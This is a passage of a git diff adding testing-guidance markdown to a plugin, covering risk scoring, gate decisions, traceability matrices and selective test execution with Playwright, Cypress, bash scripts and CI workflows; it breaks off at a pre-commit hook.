+  if (highRisks.some((r) => !r.mitigationPlan)) {
+    recommendations.push(`⚠️  High risks without mitigation plans: assign owners and deadlines`);
+  }
+  if (decision === 'PASS') {
+    recommendations.push(`✅ All risks mitigated or acceptable. Ready for release.`);
+  }
+
+  return {
+    decision,
+    timestamp: new Date(),
+    criticalRisks,
+    highRisks,
+    coverageGaps: unresolvedGaps,
+    summary: generateSummary(decision, risks, unresolvedGaps),
+    recommendations,
+  };
+}
+
+function generateSummary(decision: GateDecision, risks: RiskScore[], gaps: CoverageGap[]): string {
+  const total = risks.length;
+  const critical = risks.filter((r) => r.score === 9).length;
+  const high = risks.filter((r) => r.score >= 6 && r.score < 9).length;
+
+  return `Gate Decision: ${decision}. Total Risks: ${total} (${critical} critical, ${high} high). Coverage Gaps: ${gaps.length}.`;
+}
+```
+
+**Usage Example**:
+
+```typescript
+// Example: Running gate check before deployment
+import { assessTestFailureRisk, evaluateGate } from './gate-decision-engine';
+
+// Collect risks from test results
+const risks: RiskScore[] = [
+  assessTestFailureRisk({
+    test: 'Payment processing with expired card',
+    category: 'BUS',
+    affectedUsers: 5000,
+    revenueImpact: 50000,
+    securityVulnerability: false,
+  }),
+  assessTestFailureRisk({
+    test: 'SQL injection in search endpoint',
+    category: 'SEC',
+    affectedUsers: 10000,
+    revenueImpact: 0,
+    securityVulnerability: true,
+  }),
+];
+
+// Identify coverage gaps
+const coverageGaps: CoverageGap[] = [
+  {
+    acceptanceCriteria: 'User can reset password via email',
+    testMissing: 'e2e/auth/password-reset.spec.ts',
+    reason: '', // Empty = unresolved
+  },
+];
+
+// Evaluate gate
+const gateResult = evaluateGate({ risks, coverageGaps });
+
+console.log(gateResult.decision); // 'FAIL'
+console.log(gateResult.summary);
+// "Gate Decision: FAIL. Total Risks: 2 (1 critical, 1 high). Coverage Gaps: 1."
+
+console.log(gateResult.recommendations);
+// [
+//   "🚨 1 CRITICAL risk(s) must be mitigated before release",
+//   "📋 1 acceptance criteria lack test coverage"
+// ]
+```
+
+**Key Points**:
+
+- **Automated decision**: No human interpretation required
+- **Clear criteria**: FAIL = critical risks or gaps, CONCERNS = high risks with plans, PASS = low risks
+- **Actionable output**: Recommendations drive next steps
+- **Audit trail**: Timestamp, decision, and context for compliance
+
+---
+
+### Example 3: Risk Mitigation Workflow with Owner Tracking
+
+**Context**: Track risk mitigation from identification to resolution
+
+**Implementation**:
+
+```typescript
+// risk-mitigation.ts
+export type MitigationAction = {
+  riskId: string;
+  action: string;
+  owner: string;
+  deadline: Date;
+  status: 'PENDING' | 'IN_PROGRESS' | 'COMPLETED' | 'BLOCKED';
+  completedAt?: Date;
+  blockedReason?: string;
+};
+
+export class RiskMitigationTracker {
+  private risks: Map<string, RiskScore> = new Map();
+  private actions: Map<string, MitigationAction[]> = new Map();
+  private history: Array<{ riskId: string; event: string; timestamp: Date }> = [];
+
+  // Register a new risk
+  addRisk(risk: RiskScore): void {
+    this.risks.set(risk.id, risk);
+    this.logHistory(risk.id, `Risk registered: ${risk.title} (Score: ${risk.score})`);
+
+    // Auto-assign mitigation requirements for score ≥6
+    if (requiresMitigation(risk.score) && !risk.mitigationPlan) {
+      this.logHistory(risk.id, `⚠️  Mitigation required (score ${risk.score}). Assign owner and plan.`);
+    }
+  }
+
+  // Add mitigation action
+  addMitigationAction(action: MitigationAction): void {
+    const risk = this.risks.get(action.riskId);
+    if (!risk) throw new Error(`Risk ${action.riskId} not found`);
+
+    const existingActions = this.actions.get(action.riskId) || [];
+    existingActions.push(action);
+    this.actions.set(action.riskId, existingActions);
+
+    this.logHistory(action.riskId, `Mitigation action added: ${action.action} (Owner: ${action.owner})`);
+  }
+
+  // Complete mitigation action
+  completeMitigation(riskId: string, actionIndex: number): void {
+    const actions = this.actions.get(riskId);
+    if (!actions || !actions[actionIndex]) throw new Error('Action not found');
+
+    actions[actionIndex].status = 'COMPLETED';
+    actions[actionIndex].completedAt = new Date();
+
+    this.logHistory(riskId, `Mitigation completed: ${actions[actionIndex].action}`);
+
+    // If all actions completed, mark risk as MITIGATED
+    if (actions.every((a) => a.status === 'COMPLETED')) {
+      const risk = this.risks.get(riskId)!;
+      risk.status = 'MITIGATED';
+      this.logHistory(riskId, `✅ Risk mitigated. All actions complete.`);
+    }
+  }
+
+  // Request waiver for a risk
+  requestWaiver(riskId: string, reason: string, approver: string, expiryDays: number): void {
+    const risk = this.risks.get(riskId);
+    if (!risk) throw new Error(`Risk ${riskId} not found`);
+
+    risk.status = 'WAIVED';
+    risk.waiverReason = reason;
+    risk.waiverApprover = approver;
+    risk.waiverExpiry = new Date(Date.now() + expiryDays * 24 * 60 * 60 * 1000);
+
+    this.logHistory(riskId, `⚠️  Waiver granted by ${approver}. Expires: ${risk.waiverExpiry}`);
+  }
+
+  // Generate risk report
+  generateReport(): string {
+    const allRisks = Array.from(this.risks.values());
+    const critical = allRisks.filter((r) => r.score === 9 && r.status === 'OPEN');
+    const high = allRisks.filter((r) => r.score >= 6 && r.score < 9 && r.status === 'OPEN');
+    const mitigated = allRisks.filter((r) => r.status === 'MITIGATED');
+    const waived = allRisks.filter((r) => r.status === 'WAIVED');
+
+    let report = `# Risk Mitigation Report\n\n`;
+    report += `**Generated**: ${new Date().toISOString()}\n\n`;
+    report += `## Summary\n`;
+    report += `- Total Risks: ${allRisks.length}\n`;
+    report += `- Critical (Score=9, OPEN): ${critical.length}\n`;
+    report += `- High (Score 6-8, OPEN): ${high.length}\n`;
+    report += `- Mitigated: ${mitigated.length}\n`;
+    report += `- Waived: ${waived.length}\n\n`;
+
+    if (critical.length > 0) {
+      report += `## 🚨 Critical Risks (BLOCKERS)\n\n`;
+      critical.forEach((r) => {
+        report += `- **${r.title}** (${r.category})\n`;
+        report += `  - Score: ${r.score} (Probability: ${r.probability}, Impact: ${r.impact})\n`;
+        report += `  - Owner: ${r.owner}\n`;
+        report += `  - Mitigation: ${r.mitigationPlan || 'NOT ASSIGNED'}\n\n`;
+      });
+    }
+
+    if (high.length > 0) {
+      report += `## ⚠️  High Risks\n\n`;
+      high.forEach((r) => {
+        report += `- **${r.title}** (${r.category})\n`;
+        report += `  - Score: ${r.score}\n`;
+        report += `  - Owner: ${r.owner}\n`;
+        report += `  - Deadline: ${r.deadline?.toISOString().split('T')[0] || 'NOT SET'}\n\n`;
+      });
+    }
+
+    return report;
+  }
+
+  private logHistory(riskId: string, event: string): void {
+    this.history.push({ riskId, event, timestamp: new Date() });
+  }
+
+  getHistory(riskId: string): Array<{ event: string; timestamp: Date }> {
+    return this.history.filter((h) => h.riskId === riskId).map((h) => ({ event: h.event, timestamp: h.timestamp }));
+  }
+}
+```
+
+**Usage Example**:
+
+```typescript
+const tracker = new RiskMitigationTracker();
+
+// Register critical security risk
+tracker.addRisk({
+  id: 'risk-001',
+  category: 'SEC',
+  title: 'SQL injection vulnerability in user search',
+  description: 'Unsanitized input allows arbitrary SQL execution',
+  probability: 3,
+  impact: 3,
+  score: 9,
+  owner: 'security-team',
+  status: 'OPEN',
+});
+
+// Add mitigation actions
+tracker.addMitigationAction({
+  riskId: 'risk-001',
+  action: 'Add parameterized queries to user-search endpoint',
+  owner: 'alice@example.com',
+  deadline: new Date('2025-10-20'),
+  status: 'IN_PROGRESS',
+});
+
+tracker.addMitigationAction({
+  riskId: 'risk-001',
+  action: 'Add WAF rule to block SQL injection patterns',
+  owner: 'bob@example.com',
+  deadline: new Date('2025-10-22'),
+  status: 'PENDING',
+});
+
+// Complete first action
+tracker.completeMitigation('risk-001', 0);
+
+// Generate report
+console.log(tracker.generateReport());
+// Markdown report with critical risks, owners, deadlines
+
+// View history
+console.log(tracker.getHistory('risk-001'));
+// [
+//   { event: 'Risk registered: SQL injection...', timestamp: ... },
+//   { event: 'Mitigation action added: Add parameterized queries...', timestamp: ... },
+//   { event: 'Mitigation completed: Add parameterized queries...', timestamp: ... }
+// ]
+```
+
+**Key Points**:
+
+- **Ownership enforcement**: Every risk >4 requires owner assignment
+- **Deadline tracking**: Mitigation actions have explicit deadlines
+- **Audit trail**: Complete history of risk lifecycle (registered → mitigated)
+- **Automated reports**: Markdown output for Confluence/GitHub wikis
+
+---
+
+### Example 4: Coverage Traceability Matrix (Test-to-Requirement Mapping)
+
+**Context**: Validate that every acceptance criterion maps to at least one test
+
+**Implementation**:
+
+```typescript
+// coverage-traceability.ts
+export type AcceptanceCriterion = {
+  id: string;
+  story: string;
+  criterion: string;
+  priority: 'P0' | 'P1' | 'P2' | 'P3';
+};
+
+export type TestCase = {
+  file: string;
+  name: string;
+  criteriaIds: string[]; // Links to acceptance criteria
+};
+
+export type CoverageMatrix = {
+  criterion: AcceptanceCriterion;
+  tests: TestCase[];
+  covered: boolean;
+  waiverReason?: string;
+};
+
+export function buildCoverageMatrix(criteria: AcceptanceCriterion[], tests: TestCase[]): CoverageMatrix[] {
+  return criteria.map((criterion) => {
+    const matchingTests = tests.filter((t) => t.criteriaIds.includes(criterion.id));
+
+    return {
+      criterion,
+      tests: matchingTests,
+      covered: matchingTests.length > 0,
+    };
+  });
+}
+
+export function validateCoverage(matrix: CoverageMatrix[]): {
+  gaps: CoverageMatrix[];
+  passRate: number;
+} {
+  const gaps = matrix.filter((m) => !m.covered && !m.waiverReason);
+  const passRate = ((matrix.length - gaps.length) / matrix.length) * 100;
+
+  return { gaps, passRate };
+}
+
+// Example: Extract criteria IDs from test names
+export function extractCriteriaFromTests(testFiles: string[]): TestCase[] {
+  // Simplified: In real implementation, parse test files with AST
+  // Here we simulate extraction from test names
+  return [
+    {
+      file: 'tests/e2e/auth/login.spec.ts',
+      name: 'should allow user to login with valid credentials',
+      criteriaIds: ['AC-001', 'AC-002'], // Linked to acceptance criteria
+    },
+    {
+      file: 'tests/e2e/auth/password-reset.spec.ts',
+      name: 'should send password reset email',
+      criteriaIds: ['AC-003'],
+    },
+  ];
+}
+
+// Generate Markdown traceability report
+export function generateTraceabilityReport(matrix: CoverageMatrix[]): string {
+  let report = `# Requirements-to-Tests Traceability Matrix\n\n`;
+  report += `**Generated**: ${new Date().toISOString()}\n\n`;
+
+  const { gaps, passRate } = validateCoverage(matrix);
+
+  report += `## Summary\n`;
+  report += `- Total Criteria: ${matrix.length}\n`;
+  report += `- Covered: ${matrix.filter((m) => m.covered).length}\n`;
+  report += `- Gaps: ${gaps.length}\n`;
+  report += `- Waived: ${matrix.filter((m) => m.waiverReason).length}\n`;
+  report += `- Coverage Rate: ${passRate.toFixed(1)}%\n\n`;
+
+  if (gaps.length > 0) {
+    report += `## ❌ Coverage Gaps (MUST RESOLVE)\n\n`;
+    report += `| Story | Criterion | Priority | Tests |\n`;
+    report += `|-------|-----------|----------|-------|\n`;
+    gaps.forEach((m) => {
+      report += `| ${m.criterion.story} | ${m.criterion.criterion} | ${m.criterion.priority} | None |\n`;
+    });
+    report += `\n`;
+  }
+
+  report += `## ✅ Covered Criteria\n\n`;
+  report += `| Story | Criterion | Tests |\n`;
+  report += `|-------|-----------|-------|\n`;
+  matrix
+    .filter((m) => m.covered)
+    .forEach((m) => {
+      const testList = m.tests.map((t) => `\`${t.file}\``).join(', ');
+      report += `| ${m.criterion.story} | ${m.criterion.criterion} | ${testList} |\n`;
+    });
+
+  return report;
+}
+```
+
+**Usage Example**:
+
+```typescript
+// Define acceptance criteria
+const criteria: AcceptanceCriterion[] = [
+  { id: 'AC-001', story: 'US-123', criterion: 'User can login with email', priority: 'P0' },
+  { id: 'AC-002', story: 'US-123', criterion: 'User sees error on invalid password', priority: 'P0' },
+  { id: 'AC-003', story: 'US-124', criterion: 'User receives password reset email', priority: 'P1' },
+  { id: 'AC-004', story: 'US-125', criterion: 'User can update profile', priority: 'P2' }, // NO TEST
+];
+
+// Extract tests
+const tests: TestCase[] = extractCriteriaFromTests(['tests/e2e/auth/login.spec.ts', 'tests/e2e/auth/password-reset.spec.ts']);
+
+// Build matrix
+const matrix = buildCoverageMatrix(criteria, tests);
+
+// Validate
+const { gaps, passRate } = validateCoverage(matrix);
+console.log(`Coverage: ${passRate.toFixed(1)}%`); // "Coverage: 75.0%"
+console.log(`Gaps: ${gaps.length}`); // "Gaps: 1" (AC-004 has no test)
+
+// Generate report
+const report = generateTraceabilityReport(matrix);
+console.log(report);
+// Markdown table showing coverage gaps
+```
+
+**Key Points**:
+
+- **Bidirectional traceability**: Criteria → Tests and Tests → Criteria
+- **Gap detection**: Automatically identifies missing coverage
+- **Priority awareness**: P0 gaps are critical blockers
+- **Waiver support**: Allow explicit waivers for low-priority gaps
+
+---
+
+## Risk Governance Checklist
+
+Before deploying to production, ensure:
+
+- [ ] **Risk scoring complete**: All identified risks scored (Probability × Impact)
+- [ ] **Ownership assigned**: Every risk >4 has owner, mitigation plan, deadline
+- [ ] **Coverage validated**: Every acceptance criterion maps to at least one test
+- [ ] **Gate decision documented**: PASS/CONCERNS/FAIL/WAIVED with rationale
+- [ ] **Waivers approved**: All waivers have approver, reason, expiry date
+- [ ] **Audit trail captured**: Risk history log available for compliance review
+- [ ] **Traceability matrix**: Requirements-to-tests mapping up to date
+- [ ] **Critical risks resolved**: No score=9 risks in OPEN status
+
+## Integration Points
+
+- **Used in workflows**: `*trace` (Phase 2: gate decision), `*nfr-assess` (risk scoring), `*test-design` (risk identification)
+- **Related fragments**: `probability-impact.md` (scoring definitions), `test-priorities-matrix.md` (P0-P3 classification), `nfr-criteria.md` (non-functional risks)
+- **Tools**: Risk tracking dashboards (Jira, Linear), gate automation (CI/CD), traceability reports (Markdown, Confluence)
+
+_Source: Murat risk governance notes, gate schema guidance, enterprise production gate workflows, ISO 31000 risk management standards_
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/selective-testing.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/selective-testing.md
new file mode 100644
index 0000000..e8becc3
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/selective-testing.md
@@ -0,0 +1,732 @@
+# Selective and Targeted Test Execution
+
+## Principle
+
+Run only the tests you need, when you need them. Use tags/grep to slice suites by risk priority (not directory structure), filter by spec patterns or git diff to focus on impacted areas, and combine priority metadata (P0-P3) with change detection to optimize pre-commit vs. CI execution. Document the selection strategy clearly so teams understand when full regression is mandatory.
+
+## Rationale
+
+Running the entire test suite on every commit wastes time and resources. Smart test selection provides fast feedback (smoke tests in minutes, full regression in hours) while maintaining confidence. The "32+ ways of selective testing" philosophy balances speed with coverage: quick loops for developers, comprehensive validation before deployment. Poorly documented selection leads to confusion about when tests run and why.
+
+## Pattern Examples
+
+### Example 1: Tag-Based Execution with Priority Levels
+
+**Context**: Organize tests by risk priority and execution stage using grep/tag patterns.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Tag-based test organization
+ * - @smoke: Critical path tests (run on every commit, < 5 min)
+ * - @regression: Full test suite (run pre-merge, < 30 min)
+ * - @p0: Critical business functions (payment, auth, data integrity)
+ * - @p1: Core features (primary user journeys)
+ * - @p2: Secondary features (supporting functionality)
+ * - @p3: Nice-to-have (cosmetic, non-critical)
+ */
+
+test.describe('Checkout Flow', () => {
+  // P0 + Smoke: Must run on every commit
+  test('@smoke @p0 should complete purchase with valid payment', async ({ page }) => {
+    await page.goto('/checkout');
+    await page.getByTestId('card-number').fill('4242424242424242');
+    await page.getByTestId('submit-payment').click();
+
+    await expect(page.getByTestId('order-confirmation')).toBeVisible();
+  });
+
+  // P0 but not smoke: Run pre-merge
+  test('@regression @p0 should handle payment decline gracefully', async ({ page }) => {
+    await page.goto('/checkout');
+    await page.getByTestId('card-number').fill('4000000000000002'); // Decline card
+    await page.getByTestId('submit-payment').click();
+
+    await expect(page.getByTestId('payment-error')).toBeVisible();
+    await expect(page.getByTestId('payment-error')).toContainText('declined');
+  });
+
+  // P1 + Smoke: Important but not critical
+  test('@smoke @p1 should apply discount code', async ({ page }) => {
+    await page.goto('/checkout');
+    await page.getByTestId('promo-code').fill('SAVE10');
+    await page.getByTestId('apply-promo').click();
+
+    await expect(page.getByTestId('discount-applied')).toBeVisible();
+  });
+
+  // P2: Run in full regression only
+  test('@regression @p2 should remember saved payment methods', async ({ page }) => {
+    await page.goto('/checkout');
+    await expect(page.getByTestId('saved-cards')).toBeVisible();
+  });
+
+  // P3: Low priority, run nightly or weekly
+  test('@nightly @p3 should display checkout page analytics', async ({ page }) => {
+    await page.goto('/checkout');
+    const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS__);
+    expect(analyticsEvents).toBeDefined();
+  });
+});
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "test": "playwright test",
+    "test:smoke": "playwright test --grep '@smoke'",
+    "test:p0": "playwright test --grep '@p0'",
+    "test:p0-p1": "playwright test --grep '@p0|@p1'",
+    "test:regression": "playwright test --grep '@regression'",
+    "test:nightly": "playwright test --grep '@nightly'",
+    "test:not-slow": "playwright test --grep-invert '@slow'",
+    "test:critical-smoke": "playwright test --grep '@smoke.*@p0'"
+  }
+}
+```
+
+**Cypress equivalent**:
+
+```javascript
+// cypress/e2e/checkout.cy.ts
+describe('Checkout Flow', { tags: ['@checkout'] }, () => {
+  it('should complete purchase', { tags: ['@smoke', '@p0'] }, () => {
+    cy.visit('/checkout');
+    cy.get('[data-cy="card-number"]').type('4242424242424242');
+    cy.get('[data-cy="submit-payment"]').click();
+    cy.get('[data-cy="order-confirmation"]').should('be.visible');
+  });
+
+  it('should handle decline', { tags: ['@regression', '@p0'] }, () => {
+    cy.visit('/checkout');
+    cy.get('[data-cy="card-number"]').type('4000000000000002');
+    cy.get('[data-cy="submit-payment"]').click();
+    cy.get('[data-cy="payment-error"]').should('be.visible');
+  });
+});
+
+// cypress.config.ts
+export default defineConfig({
+  e2e: {
+    env: {
+      grepTags: process.env.GREP_TAGS || '',
+      grepFilterSpecs: true,
+    },
+    setupNodeEvents(on, config) {
+      require('@cypress/grep/src/plugin')(config);
+      return config;
+    },
+  },
+});
+```
+
+**Usage**:
+
+```bash
+# Playwright
+npm run test:smoke                    # Run all @smoke tests
+npm run test:p0                       # Run all P0 tests
+npm run test -- --grep "@smoke.*@p0"  # Run tests with BOTH tags
+
+# Cypress (with @cypress/grep plugin)
+npx cypress run --env grepTags="@smoke"
+npx cypress run --env grepTags="@p0+@smoke"  # AND logic
+npx cypress run --env grepTags="@p0 @p1"     # OR logic
+```
+
+**Key Points**:
+
+- **Multiple tags per test**: Combine priority (@p0) with stage (@smoke)
+- **AND/OR logic**: Grep supports complex filtering
+- **Clear naming**: Tags document test importance
+- **Fast feedback**: @smoke runs < 5 min, full suite < 30 min
+- **CI integration**: Different jobs run different tag combinations
+
+---
+
+### Example 2: Spec Filter Pattern (File-Based Selection)
+
+**Context**: Run tests by file path pattern or directory for targeted execution.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/selective-spec-runner.sh
+# Run tests based on spec file patterns
+
+set -e
+
+PATTERN=${1:-"**/*.spec.ts"}
+TEST_ENV=${TEST_ENV:-local}
+
+echo "🎯 Selective Spec Runner"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Pattern: $PATTERN"
+echo "Environment: $TEST_ENV"
+echo ""
+
+# Pattern examples and their use cases
+case "$PATTERN" in
+  "**/checkout*")
+    echo "📦 Running checkout-related tests"
+    npx playwright test --grep-files="**/checkout*"
+    ;;
+  "**/auth*"|"**/login*"|"**/signup*")
+    echo "🔐 Running authentication tests"
+    npx playwright test --grep-files="**/auth*|**/login*|**/signup*"
+    ;;
+  "tests/e2e/**")
+    echo "🌐 Running all E2E tests"
+    npx playwright test tests/e2e/
+    ;;
+  "tests/integration/**")
+    echo "🔌 Running all integration tests"
+    npx playwright test tests/integration/
+    ;;
+  "tests/component/**")
+    echo "🧩 Running all component tests"
+    npx playwright test tests/component/
+    ;;
+  *)
+    echo "🔍 Running tests matching pattern: $PATTERN"
+    npx playwright test "$PATTERN"
+    ;;
+esac
+```
+
+**Playwright config for file filtering**:
+
+```typescript
+// playwright.config.ts
+import { defineConfig, devices } from '@playwright/test';
+
+export default defineConfig({
+  // ... other config
+
+  // Project-based organization
+  projects: [
+    {
+      name: 'smoke',
+      testMatch: /.*smoke.*\.spec\.ts/,
+      retries: 0,
+    },
+    {
+      name: 'e2e',
+      testMatch: /tests\/e2e\/.*\.spec\.ts/,
+      retries: 2,
+    },
+    {
+      name: 'integration',
+      testMatch: /tests\/integration\/.*\.spec\.ts/,
+      retries: 1,
+    },
+    {
+      name: 'component',
+      testMatch: /tests\/component\/.*\.spec\.ts/,
+      use: { ...devices['Desktop Chrome'] },
+    },
+  ],
+});
+```
+
+**Advanced pattern matching**:
+
+```typescript
+// scripts/run-by-component.ts
+/**
+ * Run tests related to specific component(s)
+ * Usage: npm run test:component UserProfile,Settings
+ */
+
+import { execSync } from 'child_process';
+
+const components = process.argv[2]?.split(',') || [];
+
+if (components.length === 0) {
+  console.error('❌ No components specified');
+  console.log('Usage: npm run test:component UserProfile,Settings');
+  process.exit(1);
+}
+
+// Convert component names to glob patterns
+const patterns = components.map((comp) => `**/*${comp}*.spec.ts`).join(' ');
+
+console.log(`🧩 Running tests for components: ${components.join(', ')}`);
+console.log(`Patterns: ${patterns}`);
+
+try {
+  execSync(`npx playwright test ${patterns}`, {
+    stdio: 'inherit',
+    env: { ...process.env, CI: 'false' },
+  });
+} catch (error) {
+  process.exit(1);
+}
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "test:checkout": "playwright test **/checkout*.spec.ts",
+    "test:auth": "playwright test **/auth*.spec.ts **/login*.spec.ts",
+    "test:e2e": "playwright test tests/e2e/",
+    "test:integration": "playwright test tests/integration/",
+    "test:component": "ts-node scripts/run-by-component.ts",
+    "test:project": "playwright test --project",
+    "test:smoke-project": "playwright test --project smoke"
+  }
+}
+```
+
+**Key Points**:
+
+- **Glob patterns**: Wildcards match file paths flexibly
+- **Project isolation**: Separate projects have different configs
+- **Component targeting**: Run tests for specific features
+- **Directory-based**: Organize tests by type (e2e, integration, component)
+- **CI optimization**: Run subsets in parallel CI jobs
+
+---
+
+### Example 3: Diff-Based Test Selection (Changed Files Only)
+
+**Context**: Run only tests affected by code changes for maximum speed.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/test-changed-files.sh
+# Intelligent test selection based on git diff
+
+set -e
+
+BASE_BRANCH=${BASE_BRANCH:-main}
+TEST_ENV=${TEST_ENV:-local}
+
+echo "🔍 Changed File Test Selector"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Base branch: $BASE_BRANCH"
+echo "Environment: $TEST_ENV"
+echo ""
+
+# Get changed files
+CHANGED_FILES=$(git diff --name-only $BASE_BRANCH...HEAD)
+
+if [ -z "$CHANGED_FILES" ]; then
+  echo "✅ No files changed. Skipping tests."
+  exit 0
+fi
+
+echo "Changed files:"
+echo "$CHANGED_FILES" | sed 's/^/  - /'
+echo ""
+
+# Arrays to collect test specs
+DIRECT_TEST_FILES=()
+RELATED_TEST_FILES=()
+RUN_ALL_TESTS=false
+
+# Process each changed file
+while IFS= read -r file; do
+  case "$file" in
+    # Changed test files: run them directly
+    *.spec.ts|*.spec.js|*.test.ts|*.test.js|*.cy.ts|*.cy.js)
+      DIRECT_TEST_FILES+=("$file")
+      ;;
+
+    # Critical config changes: run ALL tests
+    package.json|package-lock.json|playwright.config.ts|cypress.config.ts|tsconfig.json|.github/workflows/*)
+      echo "⚠️  Critical file changed: $file"
+      RUN_ALL_TESTS=true
+      break
+      ;;
+
+    # Component changes: find related tests
+    src/components/*.tsx|src/components/*.jsx)
+      COMPONENT_NAME=$(basename "$file" | sed 's/\.[^.]*$//')
+      echo "🧩 Component changed: $COMPONENT_NAME"
+
+      # Find tests matching component name
+      FOUND_TESTS=$(find tests -name "*${COMPONENT_NAME}*.spec.ts" -o -name "*${COMPONENT_NAME}*.cy.ts" 2>/dev/null || true)
+      if [ -n "$FOUND_TESTS" ]; then
+        while IFS= read -r test_file; do
+          RELATED_TEST_FILES+=("$test_file")
+        done <<< "$FOUND_TESTS"
+      fi
+      ;;
+
+    # Utility/lib changes: run integration + unit tests
+    src/utils/*|src/lib/*|src/helpers/*)
+      echo "⚙️  Utility file changed: $file"
+      RELATED_TEST_FILES+=($(find tests/unit tests/integration -name "*.spec.ts" 2>/dev/null || true))
+      ;;
+
+    # API changes: run integration + e2e tests
+    src/api/*|src/services/*|src/controllers/*)
+      echo "🔌 API file changed: $file"
+      RELATED_TEST_FILES+=($(find tests/integration tests/e2e -name "*.spec.ts" 2>/dev/null || true))
+      ;;
+
+    # Type changes: run all TypeScript tests
+    *.d.ts|src/types/*)
+      echo "📝 Type definition changed: $file"
+      RUN_ALL_TESTS=true
+      break
+      ;;
+
+    # Documentation only: skip tests
+    *.md|docs/*|README*)
+      echo "📄 Documentation changed: $file (no tests needed)"
+      ;;
+
+    *)
+      echo "❓ Unclassified change: $file (running smoke tests)"
+      RELATED_TEST_FILES+=($(find tests -name "*smoke*.spec.ts" 2>/dev/null || true))
+      ;;
+  esac
+done <<< "$CHANGED_FILES"
+
+# Execute tests based on analysis
+if [ "$RUN_ALL_TESTS" = true ]; then
+  echo ""
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+  echo "🚨 Running FULL test suite (critical changes detected)"
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+  npm run test
+  exit $?
+fi
+
+# Combine and deduplicate test files
+ALL_TEST_FILES=(${DIRECT_TEST_FILES[@]} ${RELATED_TEST_FILES[@]})
+UNIQUE_TEST_FILES=($(echo "${ALL_TEST_FILES[@]}" | tr ' ' '\n' | sort -u))
+
+if [ ${#UNIQUE_TEST_FILES[@]} -eq 0 ]; then
+  echo ""
+  echo "✅ No tests found for changed files. Running smoke tests."
+  npm run test:smoke
+  exit $?
+fi
+
+echo ""
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "🎯 Running ${#UNIQUE_TEST_FILES[@]} test file(s)"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+
+for test_file in "${UNIQUE_TEST_FILES[@]}"; do
+  echo "  - $test_file"
+done
+
+echo ""
+npm run test -- "${UNIQUE_TEST_FILES[@]}"
+```
+
+**GitHub Actions integration**:
+
+```yaml
+# .github/workflows/test-changed.yml
+name: Test Changed Files
+on:
+  pull_request:
+    types: [opened, synchronize, reopened]
+
+jobs:
+  detect-and-test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0 # Full history for accurate diff
+
+      - name: Get changed files
+        id: changed-files
+        uses: tj-actions/changed-files@v40
+        with:
+          files: |
+            src/**
+            tests/**
+            *.config.ts
+          files_ignore: |
+            **/*.md
+            docs/**
+
+      - name: Run tests for changed files
+        if: steps.changed-files.outputs.any_changed == 'true'
+        run: |
+          echo "Changed files: ${{ steps.changed-files.outputs.all_changed_files }}"
+          bash scripts/test-changed-files.sh
+        env:
+          BASE_BRANCH: ${{ github.base_ref }}
+          TEST_ENV: staging
+```
+
+**Key Points**:
+
+- **Intelligent mapping**: Code changes → related tests
+- **Critical file detection**: Config changes = full suite
+- **Component mapping**: UI changes → component + E2E tests
+- **Fast feedback**: Run only what's needed (< 2 min typical)
+- **Safety net**: Unrecognized changes run smoke tests
+
+---
+
+### Example 4: Promotion Rules (Pre-Commit → CI → Staging → Production)
+
+**Context**: Progressive test execution strategy across deployment stages.
+
+**Implementation**:
+
+```typescript
+// scripts/test-promotion-strategy.ts
+/**
+ * Test Promotion Strategy
+ * Defines which tests run at each stage of the development lifecycle
+ */
+
+export type TestStage = 'pre-commit' | 'ci-pr' | 'ci-merge' | 'staging' | 'production';
+
+export type TestPromotion = {
+  stage: TestStage;
+  description: string;
+  testCommand: string;
+  timebudget: string; // minutes
+  required: boolean;
+  failureAction: 'block' | 'warn' | 'alert';
+};
+
+export const TEST_PROMOTION_RULES: Record<TestStage, TestPromotion> = {
+  'pre-commit': {
+    stage: 'pre-commit',
+    description: 'Local developer checks before git commit',
+    testCommand: 'npm run test:smoke',
+    timebudget: '2',
+    required: true,
+    failureAction: 'block',
+  },
+  'ci-pr': {
+    stage: 'ci-pr',
+    description: 'CI checks on pull request creation/update',
+    testCommand: 'npm run test:changed && npm run test:p0-p1',
+    timebudget: '10',
+    required: true,
+    failureAction: 'block',
+  },
+  'ci-merge': {
+    stage: 'ci-merge',
+    description: 'Full regression before merge to main',
+    testCommand: 'npm run test:regression',
+    timebudget: '30',
+    required: true,
+    failureAction: 'block',
+  },
+  staging: {
+    stage: 'staging',
+    description: 'Post-deployment validation in staging environment',
+    testCommand: 'npm run test:e2e -- --grep "@smoke"',
+    timebudget: '15',
+    required: true,
+    failureAction: 'block',
+  },
+  production: {
+    stage: 'production',
+    description: 'Production smoke tests post-deployment',
+    testCommand: 'npm run test:e2e:prod -- --grep "@smoke.*@p0"',
+    timebudget: '5',
+    required: false,
+    failureAction: 'alert',
+  },
+};
+
+/**
+ * Get tests to run for a specific stage
+ */
+export function getTestsForStage(stage: TestStage): TestPromotion {
+  return TEST_PROMOTION_RULES[stage];
+}
+
+/**
+ * Validate if tests can be promoted to next stage
+ */
+export function canPromote(currentStage: TestStage, testsPassed: boolean): boolean {
+  const promotion = TEST_PROMOTION_RULES[currentStage];
+
+  if (!promotion.required) {
+    return true; // Non-required tests don't block promotion
+  }
+
+  return testsPassed;
+}
+```
+
+**Husky pre-commit hook**:
+
+```bash
+#!/bin/bash
+# .husky/pre-commit
+# Run smoke tests before allowing commit
+
